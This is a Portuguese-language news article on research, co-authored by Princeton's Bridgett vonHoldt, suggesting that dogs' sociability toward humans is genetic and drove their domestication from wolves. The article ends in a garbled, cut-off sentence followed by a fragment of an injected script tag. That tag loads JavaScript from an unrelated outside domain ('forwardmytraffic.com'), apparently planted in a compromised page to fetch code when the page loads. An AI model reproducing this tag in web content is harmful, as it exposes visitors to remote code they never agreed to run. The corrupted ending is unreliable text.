Em algum momento entre 33 mil e 14 mil anos atrás, teve início uma história de amizade que mudaria, para sempre, a jornada do homem e de seu fiel companheiro na Terra. De lobos selvagens, os cães foram domesticados e jamais abandonariam os humanos, acompanhando-os por todos os cantos, em sua colonização do globo. O que facilitou essa transição sempre foi objeto de curiosidade científica. Agora, pesquisadores norte-americanos sugerem que a sociabilidade canina está nos genes, oferecendo uma explicação diferente da tradicional.
A teoria mais aceita até hoje diz que os primeiros cães domesticados eram lobos que se aventuraram nos assentamentos humanos para se beneficiar dos restos de alimentos. Por sua vez, os homens pré-históricos também tiravam proveito dessa aproximação, pois tinham proteção e companhia para caça. A aparência dos protocachorros começou a evoluir, ganhando características como redução do tamanho da cabeça, olhos e orelhas caídas e rabo abaixado, entre outras, o que conferiu a eles um aspecto de eternos filhotes e, consequentemente, nada ameaçadores. Além dos traços físicos, eles alteraram o comportamento, provavelmente influenciados pela coabitação com humanos.
Porém, diferentemente de estudos anteriores, segundo os quais, na domesticação, os cães foram selecionados pelo conjunto de habilidades cognitivas — em especial, a capacidade de distinguir vozes e gestos —, o novo trabalho sugere que a seleção teve outro critério: a tendência de procurar a companhia do homem. “Se os homens pré-históricos fizessem um contato com os lobos que mostrasse interesse por eles, e só quisessem conviver e criar esses protocães, os animais teriam explorado o traço social”, observa Bridgett vonHoldt, professora de ecologia e biologia evolutiva na Universidade de Princeton e coautora do artigo, publicado na revista Science Advances…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>